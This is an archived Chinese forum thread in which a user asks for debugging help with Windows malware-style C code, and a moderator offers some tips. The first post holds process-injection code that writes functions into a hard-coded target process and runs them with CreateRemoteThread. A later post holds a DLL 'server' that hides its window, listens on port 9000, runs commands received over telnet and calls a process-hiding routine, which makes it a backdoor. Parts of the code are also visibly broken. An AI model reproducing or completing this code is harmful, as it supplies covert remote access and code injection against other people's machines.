ringice
驱动牛犊
驱动牛犊
  • 注册日期2002-11-26
  • 最后登录2004-10-08
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
阅读:1100回复:2

求助远线程问题!!!!

楼主#
更多 发布于:2003-01-19 11:42
#include <windows.h>
 #include
 #include <stdio.h>
 
 
 typedef HINSTANCE (__stdcall *PLoadLibraryW)(LPCTSTR);
 typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
 typedef HINSTANCE (__stdcall *PFreeLibFunc)( HINSTANCE );
 
 typedef ATOM (__stdcall *PRegisterClass) (CONST WNDCLASS);
 typedef HWND (__stdcall *PCreateWindow) (LPCTSTR,LPCTSTR,DWORD,int,int,int,int,
  HWND,HMENU,HANDLE,LPVOID);
 typedef BOOL (__stdcall *PShowWindow) (HWND,int);
 typedef BOOL (__stdcall *PUpdateWindow) (HWND);
 typedef BOOL (__stdcall *PGetMessage) (LPMSG,HWND,UINT,UINT);
 typedef BOOL (__stdcall *PTranslateMessage) (CONST MSG);
 typedef LONG (__stdcall *PDispatchMessage) (CONST MSG);
 
 typedef LRESULT (__stdcall *PDefWindowProc) (HWND,UINT,WPARAM,LPARAM);
 
 //---------------------------------------------------------------------------
 #include <windows.h>
 #include
 #include <stdio.h>
 #pragma hdrstop
 
 //---------------------------------------------------------------------------
 
 #pragma argsused
 typedef HINSTANCE (__stdcall *PLoadLibraryW)(LPCTSTR);
 typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
 typedef HINSTANCE (__stdcall *PFreeLibFunc)( HINSTANCE );
 
 typedef ATOM (__stdcall *PRegisterClass) (CONST WNDCLASS);
 typedef HWND (__stdcall *PCreateWindow) (LPCTSTR,LPCTSTR,DWORD,int,int,int,int,
  HWND,HMENU,HANDLE,LPVOID);
 typedef BOOL (__stdcall *PShowWindow) (HWND,int);
 typedef BOOL (__stdcall *PUpdateWindow) (HWND);
 typedef BOOL (__stdcall *PGetMessage) (LPMSG,HWND,UINT,UINT);
 typedef BOOL (__stdcall *PTranslateMessage) (CONST MSG);
 typedef LONG (__stdcall *PDispatchMessage) (CONST MSG);
 
 typedef LRESULT (__stdcall *PDefWindowProc) (HWND,UINT,WPARAM,LPARAM);
 
 typedef struct RT_Tag
 {
  POINT point;
  MSG msg;
  WNDCLASS wndclass;
  
  PLoadLibraryW fnLoadLibrary;
  PGetProcAddress fnGetProcAddress;
  PFreeLibFunc fnFreeLibrary;
 //***********WNDCLASS结构****************
  char szclassname[32];
  char title[32];
  char windowsstyle[32];
  char x[32];
  char y[32];
  char width[32];
  char height[32];
  char wndparent[32];
  char menu[32];
  char instance[32];
  char param[32];
 
 //***********将要用到的函数****************
  char use32[32];
  
  char registerclass[32];
  char createwindow[32];
  
  char showwindows[32];
  char updatewindow[32];
  
  char getmessage[32];
  char translatemessage[32];
  char dispatchmessage[32];
 } RT;
 
 typedef struct WinProc
 {
  PLoadLibraryW fnLoadLibrary;
  PGetProcAddress fnGetProcAddress;
  PFreeLibFunc fnFreeLibrary;
  
  char use32[32];
  char defwindowproc[32];
 } WP;
 //---------------------------------------------------------------------------------------
 
 LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam);
 
 
 int TestClass(RT *p)
 {
  HINSTANCE hInstance;HINSTANCE hPrevInstance;LPSTR lpCmdLine;int nShowCmd;
  HWND hwnd;
  RT *Run=p;
  
  PRegisterClass fnRegisterClass;
  PCreateWindow fnCreateWindow;
  
  PShowWindow fnShowWindow;
  PUpdateWindow fnUpdateWindow;
  
  PGetMessage fnGetMessage;
  PTranslateMessage fnTranslateMessage;
  PDispatchMessage fnDispatchMessage;
 
  HMODULE huse32=Run->fnLoadLibrary(Run->use32);
 
  fnRegisterClass=(PRegisterClass)Run->fnGetProcAddress(huse32,Run->registerclass); fnCreateWindow=(PCreateWindow)Run->fnGetProcAddress(huse32,Run->createwindow);
 
  fnShowWindow=(PShowWindow)Run->fnGetProcAddress(huse32,Run->showwindows);
  fnUpdateWindow=(PUpdateWindow)Run->fnGetProcAddress(huse32,Run->updatewindow);
  
  fnGetMessage=(PGetMessage)Run->fnGetProcAddress(huse32,Run->getmessage);
  fnTranslateMessage=(PTranslateMessage)Run->fnGetProcAddress(huse32,Run->translatemessage);
  fnDispatchMessage=(PDispatchMessage)Run->fnGetProcAddress(huse32,Run->dispatchmessage);
 
  //执行部分
  fnRegisterClass(Run->wndclass);
 
  hwnd=fnCreateWindow(Run->szclassname,Run->title,(DWORD)Run->windowsstyle,
  (int)Run->x,(int)Run->y,(int)Run->width,(int)Run->height,
  Run->wndparent,Run->menu,Run->instance,Run->param);
 
  fnShowWindow(hwnd,nShowCmd);
  fnUpdateWindow(hwnd);
 
  while(fnGetMessage(&(Run->msg),NULL,0,0))
  {
  fnTranslateMessage(Run->msg);
  fnDispatchMessage(Run->msg);
  }
  return (Run->msg).wParam;
 }
 
 //--------------------------------------------------------------------------------------------
 
 BOOL EnableDebugPrivilege()
 {
 HANDLE hToken;
 BOOL fOk=FALSE;
  if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
  {
  TOKEN_PRIVILEGES tp;
  tp.PrivilegeCount=1;
  if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))
  printf(\"Can‘t lookup privilege value.\\n\");
  tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
  if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))
  printf(\"Can‘t adjust privilege value.\\n\");
  fOk=(GetLastError()==ERROR_SUCCESS);
  CloseHandle(hToken);
  }
 return fOk;
 }
 
 //---------------------------------------------------------------------------------------------
 LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
 {
 
  PDefWindowProc fnDefWindowProc;
  WP *Run;
 
  HMODULE huse32=Run->fnLoadLibrary(Run->use32);
  
  fnDefWindowProc=(PDefWindowProc)Run->fnGetProcAddress(huse32,Run->defwindowproc);
  
  return fnDefWindowProc(hwnd,message,wParam,lParam);
 }
 
 //---------------------------------------------------------------------------------------------
 int main(int argc, char* argv[])
 {
 HANDLE hRemoteProcess;
 void *pStart,*pcallback;
 void *pParam,*pcallbackParam;
 RT RunParam; WP RunCallBack;
 int iReturnCode,icallbackcode;
 int cb=(int)EnableDebugPrivilege-(int)TestClass+1024;
 
 if(!EnableDebugPrivilege())
  printf(\"Can‘t adjust token.\\n\");
 hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD| //允许远程创建线程
  PROCESS_VM_OPERATION| //允许远程VM操作
  PROCESS_VM_WRITE, //允许远程VM写
  FALSE,
  2222);
 if(!hRemoteProcess)
  {
  printf(\"Can‘t open the process.\\n\");
  return 0;
  }
 
 //Write function itself//写入函数体
 pStart = VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 pcallback = VirtualAllocEx( hRemoteProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if(!pStart||!pcallback)
  {
  printf(\"Can‘t alloc remote memory for function itself.\\n\");
  CloseHandle(hRemoteProcess);
  return 0;
  }
 
 iReturnCode = WriteProcessMemory(hRemoteProcess, pStart, &TestClass/*函数体*/, cb, NULL);
 icallbackcode = WriteProcessMemory(hRemoteProcess, pcallback, &WndProc/*函数体*/, 4096, NULL);
 if(!iReturnCode)
  {
  printf(\"Can‘t write process memory for function itself.\\n\");
  CloseHandle(hRemoteProcess);
  return 0;
  }
 
 //Set function params//设定函数参数
 HMODULE hKernel32 = LoadLibrary( \"kernel32.dll\" );
 RunParam.fnLoadLibrary = (PLoadLibraryW)GetProcAddress (hKernel32, \"LoadLibraryA\");
 RunParam.fnGetProcAddress = (PGetProcAddress)GetProcAddress (hKernel32, \"GetProcAddress\");
 RunParam.fnFreeLibrary = (PFreeLibFunc)GetProcAddress( hKernel32, \"FreeLibrary\" );
 //**************************************************************//
 RunCallBack.fnLoadLibrary = (PLoadLibraryW)GetProcAddress (hKernel32, \"LoadLibraryA\");
 RunCallBack.fnGetProcAddress = (PGetProcAddress)GetProcAddress (hKernel32, \"GetProcAddress\");
 RunCallBack.fnFreeLibrary = (PFreeLibFunc)GetProcAddress( hKernel32, \"FreeLibrary\" );
 
 strcpy(RunCallBack.use32,\"user32.dll\");
 strcpy(RunCallBack.defwindowproc,\"DefWindowProc\");
 //**************************************************************//
 strcpy(RunParam.use32,\"user32.dll\");
 
 strcpy(RunParam.registerclass,\"RegisterClass\");
 strcpy(RunParam.createwindow,\"CreateWindow\");
 
 strcpy(RunParam.showwindows,\"ShowWindow\");
 strcpy(RunParam.updatewindow,\"UpdateWindow\");
 
 strcpy(RunParam.getmessage,\"GetMessage\");
 strcpy(RunParam.translatemessage,\"TranslateMessage\");
 strcpy(RunParam.dispatchmessage,\"DispatchMessage\");
 
 //------------WNDCLASS结构初始化-------------//
 RunParam.wndclass.style=CS_HREDRAW | CS_VREDRAW;
 RunParam.wndclass.lpfnWndProc=pcallback;
  //这里书上说要指向窗口过程处理函数的地址,我不知该怎样写!!!
 RunParam.wndclass.cbClsExtra=0;
 RunParam.wndclass.cbWndExtra=0;
 RunParam.wndclass.hInstance=hInstance;//实例句柄,我不知该如何确定!!!
 RunParam.wndclass.hIcon=LoadIcon(NULL,IDI_APPLICATION);
 RunParam.wndclass.hCursor=LoadCursor(NULL,IDC_ARROW);
 RunParam.wndclass.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);
 RunParam.wndclass.lpszMenuName=NULL;
 RunParam.wndclass.lpszClassName=RunParam.szclassname;
 
 //------------CreateWindow初始化-------------//
 strcpy(RunParam.szclassname,\"HelloWinClass\");
 strcpy(RunParam.title,\"The HelloWin program\");
 strcpy(RunParam.windowsstyle,\"WS_OVERLAPPEDWINDOW\");
 strcpy(RunParam.x,\"CW_USEDEFAULT\");
 strcpy(RunParam.y,\"CW_USEDEFAULT\");
 strcpy(RunParam.width,\"CW_USEDEFAULT\");
 strcpy(RunParam.height,\"CW_USEDEFAULT\");
 strcpy(RunParam.wndparent,\"NULL\");
 strcpy(RunParam.menu,\"NULL\");
 strcpy(RunParam.instance,\"hInstance\");
 strcpy(RunParam.param,\"NULL\");
 
 //Write function params//写入函数参数
 pParam = VirtualAllocEx( hRemoteProcess, NULL, sizeof(RT), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 pcallbackParam = VirtualAllocEx( hRemoteProcess, NULL, sizeof(WP), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 if(!pParam)
  {
  printf(\"Can‘t alloc remote memory for function params.\\n\");
  CloseHandle(hRemoteProcess);
  return 0;
  }
 iReturnCode = WriteProcessMemory(hRemoteProcess, pParam, &RunParam, /*此处为RT结构*/ sizeof(RT), NULL);
 icallbackcode = WriteProcessMemory(hRemoteProcess, pParam, &RunCallBack, sizeof(RT),NULL);
 if(!iReturnCode||!icallbackcode)
  {
  printf(\"Can‘t write process memory for function param.\\n\");
  CloseHandle(hRemoteProcess);
  return 0;
 }
 
 HANDLE hRemoteThread = CreateRemoteThread(
  hRemoteProcess, NULL, 0,
  (PTHREAD_START_ROUTINE)pStart,//写入函数体时分配的地址
  pParam,//函数参数地址
  0,
  NULL);
 
 HANDLE hCallBackThread=CreateRemoteThread(
  hRemoteProcess, NULL, 0,
  (PTHREAD_START_ROUTINE)pcallback,//写入函数体时分配的地址
  pcallbackParam,//函数参数地址
  0,
  NULL);
 if(!hRemoteThread||!hCallBackThread)
  {
  printf(\"Can‘t create remote thread.\\n\");
  CloseHandle(hRemoteProcess);
  return 0;
  }
 FreeLibrary(hKernel32);
 CloseHandle(hRemoteProcess);
 CloseHandle(hRemoteThread);
 printf(\"Inject success!\\n\");
 
 return 0;
 }
 //------------------------------------------------------------------------
 
 这段是我写的在远线程中建立窗口的代码,我有几点不明
 1,WNDCLASS结构中的lpfnWndProc参数书上说要指向窗口过程处理函数的地址,但在远线程中我不知该怎样写
 2,WNDCLASS结构中的hInstance参数,是一个实例句柄,该如何确定???
 3,窗口处理函数LRESULT CALLBACK WndProc似乎不能这么写,请问该怎么写?????
 4,我的WP *Run的负了值了!!在这里------
 WP RunCallBack;
 
 RunCallBack.fnLoadLibrary = (PLoadLibraryW)GetProcAddress (hKernel32, \"LoadLibraryA\");
 RunCallBack.fnGetProcAddress = (PGetProcAddress)GetProcAddress (hKernel32, \"GetProcAddress\");
 RunCallBack.fnFreeLibrary = (PFreeLibFunc)GetProcAddress( hKernel32, \"FreeLibrary\" );
 
 strcpy(RunCallBack.use32,\"user32.dll\");
 strcpy(RunCallBack.defwindowproc,\"DefWindowProc\");
 不过我一直没办法把值传进去!!!(众人狂倒ing~~~~~~~~)
 应该是像TessClass里一样把WndProc
 写成WndProc(WP *p)然后再在里面用WP *RUN=p;这就可以完成了,
 不过不能这么写!!!
 郁闷!!!!
 请问该怎么写??????
 
lu0
lu0
论坛版主
论坛版主
  • 注册日期2001-06-10
  • 最后登录2016-04-05
  • 粉丝2
  • 关注0
  • 积分-6311分
  • 威望21111点
  • 贡献值0点
  • 好评度7点
  • 原创分0分
  • 专家分0分
沙发#
发布于:2003-01-19 22:48
创建REMOTE THREAD本身会将你的DLL LOAD到目标进程中. 而REMOTE THREAD的启动地址是你传入的参数地址. 如果你的DLL没有LOAD到预定的位置, 那就无法正常工作. 我的做法是自己的DLL一定要选择一个比较生僻的BASE ADDRESS. 然后当KERNEL32将你的DLL加载的TARGET PROCESS时,才不会出错. 至于其他东西, 照常写就可.
Regards, Lu Lin Webmaster of Inside Programming http://www.lu0s1.com
ringice
驱动牛犊
驱动牛犊
  • 注册日期2002-11-26
  • 最后登录2004-10-08
  • 粉丝0
  • 关注0
  • 积分0分
  • 威望0点
  • 贡献值0点
  • 好评度0点
  • 原创分0分
  • 专家分0分
板凳#
发布于:2003-01-22 21:52
我写的一个网络通讯的服务器端程序, 我先把他写成了一个EXE, 并且测试通过, 现我把他在EXE的基础上改写为DLL, 问题来了, 我用rundll32命令运行了其中的WinMain函数, 结果是我预定义的端口9000是开放了,
(我用扫瞄器扫过,而且Telnet也可以连上),不过不处理命令,我是用Telnet连上的,用Telnet 127.0.0.1 9000连上后DOS窗口一片黑,无任何显示,而在我用此代码的EXE版测试时,一连上就有我自定义的QUEEN Ver 1.0 Write by NOIR 提示符(前面已说过EXE测试通过),而且无论我在键盘上敲什么,DOS窗口就是定在那,什么反应都没有,请帮我看看示那个地方不对,


这里给出我程序的主要部分,前面都是一些处理操作的函数,太长就不贴出了,

//---------------------------------------------------------------------------
// InitSocket
// 初始化SOCKET
//--------------------------------------------------------------------------
extern \"C\" __declspec(dllexport)
BOOL WINAPI InitSocket(HWND hWnd)
{
if((WSAStartup(dwVersion,&wsaData))!=0)
{
MessageBox(hWnd,\"INIT SOCKET ERROR\",NULL,MB_OK);
return FALSE;
}

CreateSock=socket(AF_INET,SOCK_STREAM,0);//用来创建一个套接字,成功返回新套接字的描述字
if(CreateSock==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,\"SOCKET ERROR\",NULL,MB_OK);
return FALSE;
}

Sock_in.sin_family=AF_INET;
Sock_in.sin_port=htons(PORT);
Sock_in.sin_addr.S_un.S_addr=htonl(INADDR_ANY);

setsockopt(CreateSock,SOL_SOCKET,SO_REUSEADDR,(LPSTR)&dwFlag,sizeof(dwFlag));

if(bind(CreateSock,(LPSOCKADDR)&Sock_in,sizeof(Sock_in))==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,\"BIND ERROR\",NULL,MB_OK);
return FALSE;
}

else if(listen(CreateSock,3)==SOCKET_ERROR)
{
closesocket(CreateSock);
MessageBox(hWnd,\"LISTEN ERROR\",NULL,MB_OK);
return FALSE;
}

else if(WSAAsyncSelect(CreateSock,hWnd,WM_SOCKET,FD_ACCEPT|FD_CLOSE)==SOCKET_ERROR)//008.pdf->p8
{
closesocket(CreateSock);
MessageBox(hWnd,\"WSASelect ERROR\",NULL,MB_OK);
return FALSE;
}

addrlen=sizeof(SOCKADDR_IN);


return TRUE;
}

//---------------------------------------------------------------------------
extern \"C\" __declspec(dllexport)
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam)
{

static TCHAR szCommand[dwComm];
static TCHAR szExec[dwComm];

switch(message)
{
   case WM_SOCKET:
     if(WSAGETSELECTERROR(lParam))
       {
         closesocket(wParam);
         break;
       }

          switch(WSAGETSELECTEVENT(lParam))
              {
                //连接
                case FD_ACCEPT:
                  NewSock=accept(CreateSock,(LPSOCKADDR)&NewSock_in,&addrlen);
                  WSAAsyncSelect(NewSock,hWnd,WM_SOCKET,FD_READ|FD_WRITE|FD_CLOSE);
                  wsprintf(szCommand,\"QUEEN Ver 1.0 Write by NOIR\\n\\n\\r%s\",PROMPT);
                  send(NewSock,szCommand,dwComm,0);
                    break;

                 //读取输入,如是回车则执行命令
                 //不是将输入复制到缓冲区
                case FD_READ:
                   ZeroMemory(szCommand,dwComm);
                   recv(NewSock,szCommand,dwComm,0);
                    if(szCommand[0]==VK_RETURN)
                      {
                       wsprintf(szCommand,\"\\n\\n\\r%s\",PROMPT);
                       send(NewSock,szCommand,dwComm,0);
                       ExeCommand(szExec,hWnd);
                       ZeroMemory(szExec,dwComm);
                      }
                    else
                      lstrcat(szExec,szCommand);
                      send(NewSock,szCommand,dwComm,0);
                        break;

                case FD_CLOSE:
                   closesocket(wParam);
                     break;
                    }
                  break;

        case WM_DESTROY:
          HideProc(UNSERVICE_PROC);
           PostQuitMessage(0);
             break;

        default:
          return DefWindowProc(hWnd,message,wParam,lParam);

       }
return 0;
}

//---------------------------------------------------------------------------
extern \"C\" __declspec(dllexport)
WINAPI WinMain(HINSTANCE , HINSTANCE, LPSTR, int)
{
HWND hWnd;
MSG msg;
WNDCLASS wndc;
LPSTR szAppName=\"LANLAN\";
HKEY hKey=0;
DWORD disp=0;
LONG lResult;
TCHAR szKey[MAX_PATH];
TCHAR szSysDir[MAX_PATH+25];
TCHAR szFileName[MAX_PATH];


wndc.style=0;
wndc.lpfnWndProc=WndProc;
wndc.cbClsExtra=0;
wndc.cbWndExtra=0;
wndc.hInstance=NULL;
wndc.hIcon=LoadIcon(NULL,IDI_APPLICATION);
wndc.hCursor=LoadCursor(NULL,IDC_ARROW);
wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wndc.lpszMenuName=NULL;
wndc.lpszClassName=szAppName;
RegisterClass(&wndc);

hWnd=CreateWindow(szAppName,\"LANLANServer\",
                  WS_OVERLAPPEDWINDOW,
                  CW_USEDEFAULT,CW_USEDEFAULT,
                  CW_USEDEFAULT,CW_USEDEFAULT,
                  NULL,NULL,NULL,NULL);

ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);

InitSocket(hWnd);

while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return (msg.wParam);
}

//----------------------------------------------------------------------------------------------
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
LPSTR lpCmdLine=GetCommandLine();
   if(reason==DLL_PROCESS_ATTACH)
         WinMain(hinst,//当前的实例句柄
                 NULL,//总为NULL
                 lpCmdLine,//命令行参数,由GetCommandLine()得到
                 SW_SHOW);//窗口显示方式
        return 1;
}
//---------------------------------------------------------------------------
 
游客

返回顶部